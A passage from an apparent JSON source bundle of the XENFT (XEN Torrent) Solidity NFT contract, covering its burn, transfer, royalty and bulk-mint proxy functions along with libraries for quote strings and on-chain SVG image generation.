*/\n function burn(address user, uint256 tokenId) public notBeforeStart nonReentrant {\n require(\n IERC165(_msgSender()).supportsInterface(type(IBurnRedeemable).interfaceId),\n \"XENFT burn: not a supported contract\"\n );\n require(user != address(0), \"XENFT burn: illegal owner address\");\n require(tokenId > 0, \"XENFT burn: illegal tokenId\");\n require(_isApprovedOrOwner(_msgSender(), tokenId), \"XENFT burn: not an approved operator\");\n require(ownerOf(tokenId) == user, \"XENFT burn: user is not tokenId owner\");\n _ownedTokens[user].removeItem(tokenId);\n _burn(tokenId);\n IBurnRedeemable(_msgSender()).onTokenBurned(user, tokenId);\n }\n\n // OVERRIDING ERC-721 IMPLEMENTATION TO ALLOW OPENSEA ROYALTIES ENFORCEMENT PROTOCOL\n\n /**\n @dev implements `setApprovalForAll` with additional approved Operator checking\n */\n function setApprovalForAll(address operator, bool approved) public override onlyAllowedOperatorApproval(operator) {\n super.setApprovalForAll(operator, approved);\n }\n\n /**\n @dev implements `approve` with additional approved Operator checking\n */\n function approve(address operator, uint256 tokenId) public override onlyAllowedOperatorApproval(operator) {\n super.approve(operator, tokenId);\n }\n\n /**\n @dev implements `transferFrom` with additional approved Operator checking\n */\n function transferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public override onlyAllowedOperator(from) {\n super.transferFrom(from, to, tokenId);\n }\n\n /**\n @dev implements `safeTransferFrom` with additional approved Operator checking\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public override onlyAllowedOperator(from) {\n super.safeTransferFrom(from, to, tokenId);\n }\n\n /**\n @dev implements `safeTransferFrom` with additional approved Operator checking\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId,\n bytes memory data\n ) public override onlyAllowedOperator(from) {\n super.safeTransferFrom(from, to, tokenId, data);\n }\n\n // SUPPORT FOR ERC2771 META-TRANSACTIONS\n\n /**\n @dev Implements setting a `Trusted Forwarder` for meta-txs. Settable only once\n */\n function addForwarder(address trustedForwarder) external {\n require(msg.sender == _deployer, \"XENFT: not an deployer\");\n require(_trustedForwarder == address(0), \"XENFT: Forwarder is already set\");\n _trustedForwarder = trustedForwarder;\n }\n\n // SUPPORT FOR ERC2981 ROYALTY INFO\n\n /**\n @dev Implements getting Royalty Info by supported operators. ROYALTY_BP is expressed in basis points\n */\n function royaltyInfo(uint256, uint256 salePrice) external view returns (address receiver, uint256 royaltyAmount) {\n receiver = _royaltyReceiver;\n royaltyAmount = (salePrice * ROYALTY_BP) / 10_000;\n }\n\n // XEN TORRENT PRIVATE / INTERNAL HELPERS\n\n /**\n @dev Sets specified XENFT as redeemed\n */\n function _setRedeemed(uint256 tokenId) private {\n mintInfo[tokenId] = mintInfo[tokenId] | uint256(1);\n }\n\n /**\n @dev Determines power group index for Collector Category\n */\n function _powerGroup(uint256 vmus, uint256 term) private pure returns (uint256) {\n return (vmus * term) / POWER_GROUP_SIZE;\n }\n\n /**\n @dev calculates Collector Class index\n */\n function _classIdx(uint256 count, uint256 term) private pure returns (uint256 index) {\n if (_powerGroup(count, term) > 7) return 7;\n return _powerGroup(count, term);\n }\n\n /**\n @dev internal helper to determine special class tier based on XEN to be burned\n */\n function _specialTier(uint256 burning) private view returns (uint256) {\n for (uint256 i = specialClassesBurnRates.length - 1; i > 0; i--) {\n if (specialClassesBurnRates[i] == 0) {\n return 0;\n }\n if (burning > specialClassesBurnRates[i] - 1) {\n return i;\n }\n }\n return 0;\n }\n\n /**\n @dev internal helper to collect params and encode MintInfo\n */\n function _mintInfo(\n address proxy,\n uint256 count,\n uint256 term,\n uint256 burning,\n uint256 tokenId\n ) private view returns (uint256) {\n bool apex = isApex(tokenId);\n uint256 _class = _classIdx(count, term);\n if (apex) _class = uint8(7 + _specialTier(burning)) | 0x80; // Apex Class\n if (burning > 0 && !apex) _class = uint8(8) | 0x40; // Limited Class\n (, , uint256 maturityTs, uint256 rank, uint256 amp, uint256 eaa) = xenCrypto.userMints(proxy);\n return MintInfo.encodeMintInfo(term, maturityTs, rank, amp, eaa, _class, false);\n }\n\n /**\n @dev internal torrent interface. initiates Bulk Mint (Torrent) Operation\n */\n function _bulkClaimRank(\n uint256 count,\n uint256 term,\n uint256 tokenId,\n uint256 burning\n ) private {\n bytes memory bytecode = bytes.concat(\n bytes20(0x3D602d80600A3D3981F3363d3d373d3D3D363d73),\n bytes20(address(this)),\n bytes15(0x5af43d82803e903d91602b57fd5bf3)\n );\n bytes memory callData = abi.encodeWithSignature(\"callClaimRank(uint256)\", term);\n address proxy;\n bool succeeded;\n for (uint256 i = 1; i < count + 1; i++) {\n bytes32 salt = keccak256(abi.encodePacked(i, tokenId));\n assembly {\n proxy := create2(0, add(bytecode, 0x20), mload(bytecode), salt)\n succeeded := call(gas(), proxy, 0, add(callData, 0x20), mload(callData), 0, 0)\n }\n require(succeeded, \"XENFT: Error while claiming rank\");\n if (i == 1) {\n mintInfo[tokenId] = _mintInfo(proxy, count, term, burning, tokenId);\n }\n }\n vmuCount[tokenId] = count;\n }\n\n /**\n @dev internal helper to claim tokenId (limited / ordinary)\n */\n function _getTokenId(uint256 count, uint256 burning) private returns (uint256) {\n // burn possibility has already been verified\n uint256 tier = _specialTier(burning);\n if (tier == 1) {\n require(count > SPECIAL_CATEGORIES_VMU_THRESHOLD, \"XENFT: under req VMU count\");\n require(block.timestamp < genesisTs + LIMITED_CATEGORY_TIME_THRESHOLD, \"XENFT: limited time expired\");\n return tokenIdCounter++;\n }\n if (tier > 1) {\n require(_msgSender() == tx.origin, \"XENFT: only EOA allowed for this category\");\n require(count > SPECIAL_CATEGORIES_VMU_THRESHOLD, \"XENFT: under req VMU count\");\n require(specialClassesCounters[tier] < specialClassesTokenLimits[tier] + 1, \"XENFT: class sold out\");\n return specialClassesCounters[tier]++;\n }\n return tokenIdCounter++;\n }\n\n // PUBLIC GETTERS\n\n /**\n @dev public getter for tokens owned by address\n */\n function ownedTokens() external view returns (uint256[] memory) {\n return _ownedTokens[_msgSender()];\n }\n\n /**\n @dev determines if tokenId corresponds to Limited Category\n */\n function isApex(uint256 tokenId) public pure returns (bool apex) {\n apex = tokenId < COMMON_CATEGORY_COUNTER;\n }\n\n // PUBLIC TRANSACTIONAL INTERFACE\n\n /**\n @dev public XEN Torrent interface\n initiates Bulk Mint (Torrent) Operation (Common Category)\n */\n function bulkClaimRank(uint256 count, uint256 term) public notBeforeStart returns (uint256 tokenId) {\n require(_tokenId == _NOT_USED, \"XENFT: reentrancy detected\");\n require(count > 0, \"XENFT: Illegal count\");\n require(term > 0, \"XENFT: Illegal term\");\n _tokenId = _getTokenId(count, 0);\n _bulkClaimRank(count, term, _tokenId, 0);\n _ownedTokens[_msgSender()].addItem(_tokenId);\n _safeMint(_msgSender(), _tokenId);\n emit StartTorrent(_msgSender(), count, term);\n tokenId = _tokenId;\n _tokenId = _NOT_USED;\n }\n\n /**\n @dev public torrent interface. initiates Bulk Mint (Torrent) Operation (Special Category)\n */\n function bulkClaimRankLimited(\n uint256 count,\n uint256 term,\n uint256 burning\n ) public notBeforeStart returns (uint256) {\n require(_tokenId == _NOT_USED, \"XENFT: reentrancy detected\");\n require(count > 0, \"XENFT: Illegal count\");\n require(term > 0, \"XENFT: Illegal term\");\n require(burning > specialClassesBurnRates[1] - 1, \"XENFT: not enough burn amount\");\n uint256 balance = IERC20(xenCrypto).balanceOf(_msgSender());\n require(balance > burning - 1, \"XENFT: not enough XEN balance\");\n uint256 approved = IERC20(xenCrypto).allowance(_msgSender(), address(this));\n require(approved > burning - 1, \"XENFT: not enough XEN balance approved for burn\");\n _tokenId = _getTokenId(count, burning);\n _bulkClaimRank(count, term, _tokenId, burning);\n IBurnableToken(xenCrypto).burn(_msgSender(), burning);\n return _tokenId;\n }\n\n /**\n @dev public torrent interface. initiates Mint Reward claim and collection and terminates Torrent Operation\n */\n function bulkClaimMintReward(uint256 tokenId, address to) external notBeforeStart nonReentrant {\n require(ownerOf(tokenId) == _msgSender(), \"XENFT: Incorrect owner\");\n require(to != address(0), \"XENFT: Illegal address\");\n require(!mintInfo[tokenId].getRedeemed(), \"XENFT: Already redeemed\");\n bytes memory bytecode = bytes.concat(\n bytes20(0x3D602d80600A3D3981F3363d3d373d3D3D363d73),\n bytes20(address(this)),\n bytes15(0x5af43d82803e903d91602b57fd5bf3)\n );\n uint256 end = vmuCount[tokenId] + 1;\n bytes memory callData = abi.encodeWithSignature(\"callClaimMintReward(address)\", to);\n bytes memory callData1 = abi.encodeWithSignature(\"powerDown()\");\n for (uint256 i = 1; i < end; i++) {\n bytes32 salt = keccak256(abi.encodePacked(i, tokenId));\n bool succeeded;\n bytes32 hash = keccak256(abi.encodePacked(hex\"ff\", address(this), salt, keccak256(bytecode)));\n address proxy = address(uint160(uint256(hash)));\n assembly {\n succeeded := call(gas(), proxy, 0, add(callData, 0x20), mload(callData), 0, 0)\n }\n require(succeeded, \"XENFT: Error while claiming rewards\");\n assembly {\n succeeded := call(gas(), proxy, 0, add(callData1, 0x20), mload(callData1), 0, 0)\n }\n require(succeeded, \"XENFT: Error while powering down\");\n }\n _setRedeemed(tokenId);\n emit EndTorrent(_msgSender(), tokenId, to);\n }\n}\n"
},
"/contracts/libs/StringData.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\n/*\n Extra XEN quotes:\n\n \"When you realize nothing is lacking, the whole world belongs to you.\" - Lao Tzu\n \"Each morning, we are born again. What we do today is what matters most.\" - Buddha\n \"If you are depressed, you are living in the past.\" - Lao Tzu\n \"In true dialogue, both sides are willing to change.\" - Thich Nhat Hanh\n \"The spirit of the individual is determined by his domination thought habits.\" - Bruce Lee\n \"Be the path. Do not seek it.\" - Yara Tschallener\n \"Bow to no one but your own divinity.\" - Satya\n \"With insight there is hope for awareness, and with awareness there can be change.\" - Tom Kenyon\n \"The opposite of depression isn't happiness, it is purpose.\" - Derek Sivers\n \"If you can't, you must.\" - Tony Robbins\n “When you are grateful, fear disappears and abundance appears.” - Lao Tzu\n “It is in your moments of decision that your destiny is shaped.” - Tony Robbins\n \"Surmounting difficulty is the crucible that forms character.\" - Tony Robbins\n \"Three things cannot be long hidden: the sun, the moon, and the truth.\" - Buddha\n \"What you are is what you have been. What you’ll be is what you do now.\" - Buddha\n \"The best way to take care of our future is to take care of the present moment.\" - Thich Nhat Hanh\n*/\n\n/**\n @dev a library to supply a XEN string data based on params\n*/\nlibrary StringData {\n uint256 public constant QUOTES_COUNT = 12;\n uint256 public constant QUOTE_LENGTH = 66;\n bytes public constant QUOTES =\n bytes(\n '\"If you realize you have enough, you are truly rich.\" - Lao Tzu '\n '\"The real meditation is how you live your life.\" - Jon Kabat-Zinn '\n '\"To know that you do not know is the best.\" - Lao Tzu '\n '\"An over-sharpened sword cannot last long.\" - Lao Tzu '\n '\"When you accept yourself, the whole world accepts you.\" - Lao Tzu'\n '\"Music in the soul can be heard by the universe.\" - Lao Tzu '\n '\"As soon as you have made a thought, laugh at it.\" - Lao Tzu '\n '\"The further one goes, the less one knows.\" - Lao Tzu '\n '\"Stop thinking, and end your problems.\" - Lao Tzu '\n '\"Reliability is the foundation of commitment.\" - Unknown '\n '\"Your past does not equal your future.\" - Tony Robbins '\n '\"Be the path. Do not seek it.\" - Yara Tschallener '\n );\n uint256 public constant CLASSES_COUNT = 14;\n uint256 public constant CLASSES_NAME_LENGTH = 10;\n bytes public constant CLASSES =\n bytes(\n \"Ruby \"\n \"Opal \"\n \"Topaz \"\n \"Emerald \"\n \"Aquamarine\"\n \"Sapphire \"\n \"Amethyst \"\n \"Xenturion \"\n \"Limited \"\n \"Rare \"\n \"Epic \"\n \"Legendary \"\n \"Exotic \"\n \"Xunicorn \"\n );\n\n /**\n @dev Solidity doesn't yet support slicing of byte arrays anywhere outside of calldata,\n therefore we make a hack by supplying our local constant packed string array as calldata\n */\n function getQuote(bytes calldata quotes, uint256 index) external pure returns (string memory) {\n if (index > QUOTES_COUNT - 1) return string(quotes[0:QUOTE_LENGTH]);\n return string(quotes[index * QUOTE_LENGTH:(index + 1) * QUOTE_LENGTH]);\n }\n\n function getClassName(bytes calldata names, uint256 index) external pure returns (string memory) {\n if (index < CLASSES_COUNT) return string(names[index * CLASSES_NAME_LENGTH:(index + 1) * CLASSES_NAME_LENGTH]);\n return \"\";\n }\n}\n"
},
"/contracts/libs/SVG.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nimport \"@openzeppelin/contracts/utils/Strings.sol\";\nimport \"./DateTime.sol\";\nimport \"./StringData.sol\";\nimport \"./FormattedStrings.sol\";\n\n/*\n @dev Library to create SVG image for XENFT metadata\n @dependency depends on DataTime.sol and StringData.sol libraries\n */\nlibrary SVG {\n // Type to encode all data params for SVG image generation\n struct SvgParams {\n string symbol;\n address xenAddress;\n uint256 tokenId;\n uint256 term;\n uint256 rank;\n uint256 count;\n uint256 maturityTs;\n uint256 amp;\n uint256 eaa;\n uint256 xenBurned;\n bool redeemed;\n string series;\n }\n\n // Type to encode SVG gradient stop color on HSL color scale\n struct Color {\n uint256 h;\n uint256 s;\n uint256 l;\n uint256 a;\n uint256 off;\n }\n\n // Type to encode SVG gradient\n struct Gradient {\n Color[] colors;\n uint256 id;\n uint256[4] coords;\n }\n\n using DateTime for uint256;\n using Strings for uint256;\n using FormattedStrings for uint256;\n using Strings for address;\n\n string private constant _STYLE =\n \"<style> \"\n \".base {fill: #ededed;font-family:Montserrat,arial,sans-serif;font-size:30px;font-weight:400;} \"\n \".series {text-transform: uppercase} \"\n \".logo {font-size:200px;font-weight:100;} \"\n \".meta {font-size:12px;} \"\n \".small {font-size:8px;} \"\n \".burn {font-weight:500;font-size:16px;} }\"\n \"</style>\";\n\n string private constant _COLLECTOR =\n \"<g>\"\n \"<path \"\n 'stroke=\"#ededed\" '\n 'fill=\"none\" '\n 'transform=\"translate(265,418)\" '\n 'd=\"m 0 0 L -20 -30 L -12.5 -38.5 l 6.5 7 L 0 -38.5 L 6.56 -31.32 L 12.5 -38.5 L 20 -30 L 0 0 L -7.345 -29.955 L 0 -38.5 L 7.67 -30.04 L 0 0 Z M 0 0 L -20.055 -29.955 l 7.555 -8.545 l 24.965 -0.015 L 20 -30 L -20.055 -29.955\"/>'\n \"</g>\";\n\n string private constant _LIMITED =\n \"<g> \"\n '<path fill=\"#ededed\" '\n 'transform=\"scale(0.4) translate(600, 940)\" '\n 'd=\"M66,38.09q.06.9.18,1.71v.05c1,7.08,4.63,11.39,9.59,13.81,5.18,2.53,11.83,3.09,18.48,2.61,1.49-.11,3-.27,4.39-.47l1.59-.2c4.78-.61,11.47-1.48,13.35-5.06,1.16-2.2,1-5,0-8a38.85,38.85,0,0,0-6.89-11.73A32.24,32.24,0,0,0,95,21.46,21.2,21.2,0,0,0,82.3,20a23.53,23.53,0,0,0-12.75,7,15.66,15.66,0,0,0-2.35,3.46h0a20.83,20.83,0,0,0-1,2.83l-.06.2,0,.12A12,12,0,0,0,66,37.9l0,.19Zm26.9-3.63a5.51,5.51,0,0,1,2.53-4.39,14.19,14.19,0,0,0-5.77-.59h-.16l.06.51a5.57,5.57,0,0,0,2.89,4.22,4.92,4.92,0,0,0,.45.24ZM88.62,28l.94-.09a13.8,13.8,0,0,1,8,1.43,7.88,7.88,0,0,1,3.92,6.19l0,.43a.78.78,0,0,1-.66.84A19.23,19.23,0,0,1,98,37a12.92,12.92,0,0,1-6.31-1.44A7.08,7.08,0,0,1,88,30.23a10.85,10.85,0,0,1-.1-1.44.8.8,0,0,1,.69-.78ZM14.15,10c-.06-5.86,3.44-8.49,8-9.49C26.26-.44,31.24.16,34.73.7A111.14,111.14,0,0,1,56.55,6.4a130.26,130.26,0,0,1,22,10.8,26.25,26.25,0,0,1,3-.78,24.72,24.72,0,0,1,14.83,1.69,36,36,0,0,1,13.09,10.42,42.42,42.42,0,0,1,7.54,12.92c1.25,3.81,1.45,7.6-.23,10.79-2.77,5.25-10.56,6.27-16.12,7l-1.23.16a54.53,54.53,0,0,1-2.81,12.06A108.62,108.62,0,0,1,91.3,84v25.29a9.67,9.67,0,0,1,9.25,10.49c0,.41,0,.81,0,1.18a1.84,1.84,0,0,1-1.84,1.81H86.12a8.8,8.8,0,0,1-5.1-1.56,10.82,10.82,0,0,1-3.35-4,2.13,2.13,0,0,1-.2-.46L73.53,103q-2.73,2.13-5.76,4.16c-1.2.8-2.43,1.59-3.69,2.35l.6.16a8.28,8.28,0,0,1,5.07,4,15.38,15.38,0,0,1,1.71,7.11V121a1.83,1.83,0,0,1-1.83,1.83h-53c-2.58.09-4.47-.52-5.75-1.73A6.49,6.49,0,0,1,9.11,116v-11.2a42.61,42.61,0,0,1-6.34-11A38.79,38.79,0,0,1,1.11,70.29,37,37,0,0,1,13.6,50.54l.1-.09a41.08,41.08,0,0,1,11-6.38c7.39-2.9,17.93-2.77,26-2.68,5.21.06,9.34.11,10.19-.49a4.8,4.8,0,0,0,1-.91,5.11,5.11,0,0,0,.56-.84c0-.26,0-.52-.07-.78a16,16,0,0,1-.06-4.2,98.51,98.51,0,0,0-18.76-3.68c-7.48-.83-15.44-1.19-23.47-1.41l-1.35,0c-2.59,0-4.86,0-7.46-1.67A9,9,0,0,1,8,23.68a9.67,9.67,0,0,1-.91-5A10.91,10.91,0,0,1,8.49,14a8.74,8.74,0,0,1,3.37-3.29A8.2,8.2,0,0,1,14.15,10ZM69.14,22a54.75,54.75,0,0,1,4.94-3.24,124.88,124.88,0,0,0-18.8-9A106.89,106.89,0,0,0,34.17,4.31C31,3.81,26.44,3.25,22.89,4c-2.55.56-4.59,1.92-5,4.79a134.49,134.49,0,0,1,26.3,3.8,115.69,115.69,0,0,1,25,9.4ZM64,28.65c.21-.44.42-.86.66-1.28a15.26,15.26,0,0,1,1.73-2.47,146.24,146.24,0,0,0-14.92-6.2,97.69,97.69,0,0,0-15.34-4A123.57,123.57,0,0,0,21.07,13.2c-3.39-.08-6.3.08-7.47.72a5.21,5.21,0,0,0-2,1.94,7.3,7.3,0,0,0-1,3.12,6.1,6.1,0,0,0,.55,3.11,5.43,5.43,0,0,0,2,2.21c1.73,1.09,3.5,1.1,5.51,1.12h1.43c8.16.23,16.23.59,23.78,1.42a103.41,103.41,0,0,1,19.22,3.76,17.84,17.84,0,0,1,.85-2Zm-.76,15.06-.21.16c-1.82,1.3-6.48,1.24-12.35,1.17C42.91,45,32.79,44.83,26,47.47a37.41,37.41,0,0,0-10,5.81l-.1.08A33.44,33.44,0,0,0,4.66,71.17a35.14,35.14,0,0,0,1.5,21.32A39.47,39.47,0,0,0,12.35,103a1.82,1.82,0,0,1,.42,1.16v12a3.05,3.05,0,0,0,.68,2.37,4.28,4.28,0,0,0,3.16.73H67.68a10,10,0,0,0-1.11-3.69,4.7,4.7,0,0,0-2.87-2.32,15.08,15.08,0,0,0-4.4-.38h-26a1.83,1.83,0,0,1-.15-3.65c5.73-.72,10.35-2.74,13.57-6.25,3.06-3.34,4.91-8.1,5.33-14.45v-.13A18.88,18.88,0,0,0,46.35,75a20.22,20.22,0,0,0-7.41-4.42,23.54,23.54,0,0,0-8.52-1.25c-4.7.19-9.11,1.83-12,4.83a1.83,1.83,0,0,1-2.65-2.52c3.53-3.71,8.86-5.73,14.47-6a27.05,27.05,0,0,1,9.85,1.44,24,24,0,0,1,8.74,5.23,22.48,22.48,0,0,1,6.85,15.82v.08a2.17,2.17,0,0,1,0,.36c-.47,7.25-2.66,12.77-6.3,16.75a21.24,21.24,0,0,1-4.62,3.77H57.35q4.44-2.39,8.39-5c2.68-1.79,5.22-3.69,7.63-5.67a1.82,1.82,0,0,1,2.57.24,1.69,1.69,0,0,1,.35.66L81,115.62a7,7,0,0,0,2.16,2.62,5.06,5.06,0,0,0,3,.9H96.88a6.56,6.56,0,0,0-1.68-4.38,7.19,7.19,0,0,0-4.74-1.83c-.36,0-.69,0-1,0a1.83,1.83,0,0,1-1.83-1.83V83.6a1.75,1.75,0,0,1,.23-.88,105.11,105.11,0,0,0,5.34-12.46,52,52,0,0,0,2.55-10.44l-1.23.1c-7.23.52-14.52-.12-20.34-3A20,20,0,0,1,63.26,43.71Z\"/>'\n \"</g>\";\n\n string private constant _APEX =\n '<g transform=\"scale(0.5) translate(533, 790)\">'\n '<circle r=\"39\" stroke=\"#ededed\" fill=\"transparent\"/>'\n '<path fill=\"#ededed\" '\n 'd=\"M0,38 a38,38 0 0 1 0,-76 a19,19 0 0 1 0,38 a19,19 0 0 0 0,38 z m -5 -57 a 5,5 0 1,0 10,0 a 5,5 0 1,0 -10,0 z\" '\n 'fill-rule=\"evenodd\"/>'\n '<path fill=\"#ededed\" '\n 'd=\"m -5, 19 a 5,5 0 1,0 10,0 a 5,5 0 1,0 -10,0\"/>'\n \"</g>\";\n\n string private constant _LOGO =\n '<path fill=\"#ededed\" '\n 'd=\"M122.7,227.1 l-4.8,0l55.8,-74l0,3.2l-51.8,-69.2l5,0l48.8,65.4l-1.2,0l48.8,-65.4l4.8,0l-51.2,68.4l0,-1.6l55.2,73.2l-5,0l-52.8,-70.2l1.2,0l-52.8,70.2z\" '\n 'vector-effect=\"non-scaling-stroke\" />';\n\n /**\n @dev internal helper to create HSL-encoded color prop for SVG tags\n */\n function colorHSL(Color memory c) internal pure returns (bytes memory) {\n return abi.encodePacked(\"hsl(\", c.h.toString(), \", \", c.s.toString(), \"%, \", c.l.toString(), \"%)\");\n }\n\n /**\n @dev internal helper to create `stop` SVG tag\n */\n function colorStop(Color memory c) internal pure returns (bytes memory) {\n return\n abi.encodePacked(\n '<stop stop-color=\"',\n colorHSL(c),\n '\" stop-opacity=\"',\n c.a.toString(),\n '\" offset=\"',\n c.off.toString(),\n '%\"/>'\n );\n }\n\n /**\n @dev internal helper to encode position for `Gradient` SVG tag\n */\n function pos(uint256[4] memory coords) internal pure returns (bytes memory) {\n return\n abi.encodePacked(\n 'x1=\"',\n coords[0].toString(),\n '%\" '\n 'y1=\"',\n coords[1].toString(),\n '%\" '\n 'x2=\"',\n coords[2].toString(),\n '%\" '\n 'y2=\"',\n coords[3].toString(),\n '%\" '\n );\n }\n\n /**\n @dev internal helper to create `Gradient` SVG tag\n */\n function linearGradient(\n Color[] memory colors,\n uint256 id,\n uint256[4] memory coords\n ) internal pure returns (bytes memory) {\n string memory stops = \"\";\n for (uint256 i = 0; i < colors.length; i++) {\n if (colors[i].h != 0) {\n stops = string.concat(stops, string(colorStop(colors[i])));\n }\n }\n return\n abi.encodePacked(\n \"<linearGradient \",\n pos(coords),\n 'id=\"g',\n id.toString(),\n '\">',\n stops,\n \"</linearGradient>\"\n );\n }\n\n /**\n @dev internal helper to create `Defs` SVG tag\n */\n function defs(Gradient memory grad) internal pure returns (bytes memory) {\n return abi.encodePacked(\"<defs>\", linearGradient(grad.colors, 0, grad.coords), \"</defs>\");\n }\n\n /**\n @dev internal helper to create `Rect` SVG tag\n */\n function rect(uint256 id) internal pure returns (bytes memory) {\n return\n abi.encodePacked(\n \"<rect \"\n 'width=\"100%\" '\n 'height=\"100%\" '\n 'fill=\"url(#g',\n id.toString(),\n ')\" '\n 'rx=\"10px\" '\n 'ry=\"10px\" '\n 'stroke-linejoin=\"round\" '\n \"/>\"\n );\n }\n\n /**\n @dev internal helper to create border `Rect` SVG tag\n */\n function border() internal pure returns (string memory) {\n return\n \"<rect \"\n 'width=\"94%\" '\n 'height=\"96%\" '\n 'fill=\"transparent\" '\n 'rx=\"10px\" '\n 'ry=\"10px\" '\n 'stroke-linejoin=\"round\" '\n 'x=\"3%\" '\n 'y=\"2%\" '\n 'stroke-dasharray=\"1,6\" '\n 'stroke=\"white\" '\n \"/>\";\n }\n\n /**\n @dev internal helper to create group `G` SVG tag\n */\n function g(uint256 gradientsCount) internal pure returns (bytes memory) {\n string memory background = \"\";\n for (uint256 i = 0; i < gradientsCount; i++) {\n background = string.concat(background, string(rect(i)));\n }\n return abi.encodePacked(\"<g>\", background, border(), \"</g>\");\n }\n\n /**\n @dev internal helper to create XEN logo line pattern with 2 SVG `lines`\n */\n function logo() internal pure returns (bytes memory) {\n return abi.encodePacked();\n }\n\n /**\n @dev internal helper to create `Text` SVG tag with XEN Crypto contract data\n */\n function contractData(string memory symbol, address xenAddress) internal pure returns (bytes memory) {\n return\n abi.encodePacked(\n \"<text \"\n 'x=\"50%\" '\n 'y=\"5%\" '\n 'class=\"base small\" '\n 'dominant-baseline=\"middle\" '\n 'text-anchor=\"middle\">',\n symbol,\n unicode\"・\",\n xenAddress.toHexString(),\n \"</text>\"\n );\n }\n\n /**\n @dev internal helper to create cRank range string\n */\n function rankAndCount(uint256 rank, uint256 count) internal pure returns (bytes memory) {\n if (count == 1) return abi.encodePacked(rank.toString());\n return abi.encodePacked(rank.toString(), \"..\", (rank + count - 1).toString());\n }\n\n /**\n @dev internal helper to create 1st part of metadata section of SVG\n */\n function meta1(\n uint256 tokenId,\n uint256 count,\n uint256 eaa,\n string memory series,\n uint256 xenBurned\n ) internal pure returns (bytes memory) {\n bytes memory part1 = abi.encodePacked(\n \"<text \"\n 'x=\"50%\" '\n 'y=\"50%\" '\n 'class=\"base \" '\n 'dominant-baseline=\"middle\" '\n 'text-anchor=\"middle\">'\n \"XEN CRYPTO\"\n \"</text>\"\n \"<text \"\n 'x=\"50%\" '\n 'y=\"56%\" '\n 'class=\"base burn\" '\n 'text-anchor=\"middle\" '\n 'dominant-baseline=\"middle\"> ',\n xenBurned > 0 ? string.concat((xenBurned / 10**18).toFormattedString(), \" X\") : \"\",\n \"</text>\"\n \"<text \"\n 'x=\"18%\" '\n 'y=\"62%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\"> '\n \"#\",\n tokenId.toString(),\n \"</text>\"\n \"<text \"\n 'x=\"82%\" '\n 'y=\"62%\" '\n 'class=\"base meta series\" '\n 'dominant-baseline=\"middle\" '\n 'text-anchor=\"end\" >',\n series,\n \"</text>\"\n );\n bytes memory part2 = abi.encodePacked(\n \"<text \"\n 'x=\"18%\" '\n 'y=\"68%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" >'\n \"VMU: \",\n count.toString(),\n \"</text>\"\n \"<text \"\n 'x=\"18%\" '\n 'y=\"72%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" >'\n \"EAA: \",\n (eaa / 10).toString(),\n \"%\"\n \"</text>\"\n );\n return abi.encodePacked(part1, part2);\n }\n\n /**\n @dev internal helper to create 2nd part of metadata section of SVG\n */\n function meta2(\n uint256 maturityTs,\n uint256 amp,\n uint256 term,\n uint256 rank,\n uint256 count\n ) internal pure returns (bytes memory) {\n bytes memory part3 = abi.encodePacked(\n \"<text \"\n 'x=\"18%\" '\n 'y=\"76%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" >'\n \"AMP: \",\n amp.toString(),\n \"</text>\"\n \"<text \"\n 'x=\"18%\" '\n 'y=\"80%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" >'\n \"Term: \",\n term.toString()\n );\n bytes memory part4 = abi.encodePacked(\n \" days\"\n \"</text>\"\n \"<text \"\n 'x=\"18%\" '\n 'y=\"84%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" >'\n \"cRank: \",\n rankAndCount(rank, count),\n \"</text>\"\n \"<text \"\n 'x=\"18%\" '\n 'y=\"88%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" >'\n \"Maturity: \",\n maturityTs.asString(),\n \"</text>\"\n );\n return abi.encodePacked(part3, part4);\n }\n\n /**\n @dev internal helper to create `Text` SVG tag for XEN quote\n */\n function quote(uint256 idx) internal pure returns (bytes memory) {\n return\n abi.encodePacked(\n \"<text \"\n 'x=\"50%\" '\n 'y=\"95%\" '\n 'class=\"base small\" '\n 'dominant-baseline=\"middle\" '\n 'text-anchor=\"middle\" >',\n StringData.getQuote(StringData.QUOTES, idx),\n \"</text>\"\n );\n }\n\n /**\n @dev internal helper to generate `Redeemed` stamp\n */\n function stamp(bool redeemed) internal pure returns (bytes memory) {\n if (!redeemed) return \"\";\n return\n abi.encodePacked(\n \"<rect \"\n 'x=\"50%\" '\n 'y=\"77.5%\" '\n 'width=\"100\" '\n 'height=\"40\" '\n 'stroke=\"black\" '\n 'stroke-width=\"1\" '\n 'fill=\"none\" '\n 'rx=\"5px\" '\n 'ry=\"5px\" '\n 'transform=\"translate(-50,-20) '\n 'rotate(-20,0,400)\" />',\n \"<text \"\n 'x=\"50%\" '\n 'y=\"77.5%\" '\n 'stroke=\"black\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" '\n 'text-anchor=\"middle\" '\n 'transform=\"translate(0,0) rotate(-20,-45,380)\" >'\n \"Redeemed\"\n \"</text>\"\n );\n }\n\n /**\n @dev main internal helper to create SVG file representing XENFT\n */\n function image(\n SvgParams memory params,\n Gradient[] memory gradients,\n uint256 idx,\n bool apex,\n bool limited\n ) internal pure returns (bytes memory) {\n string memory mark = limited ? _LIMITED : apex ? _APEX : _COLLECTOR;\n bytes memory graphics = abi.encodePacked(defs(gradients[0]), _STYLE, g(gradients.length), _LOGO, mark);\n bytes memory metadata = abi.encodePacked(\n contractData(params.symbol, params.xenAddress),\n meta1(params.tokenId, params.count, params.eaa, params.series, params.xenBurned),\n meta2(params.maturityTs, params.amp, params.term, params.rank, params.count),\n quote(idx),\n stamp(params.redeemed)\n );\n return\n abi.encodePacked(\n \"<svg \"\n 'xmlns=\"http://www.w3.org/2000/svg\" '\n 'preserveAspectRatio=\"xMinYMin meet\" '\n 'viewBox=\"0 0 350 566\">',\n graphics,\n metadata,\n \"</svg>\"\n );\n }\n}\n"
},
"/contracts/libs/MintInfo.sol": {
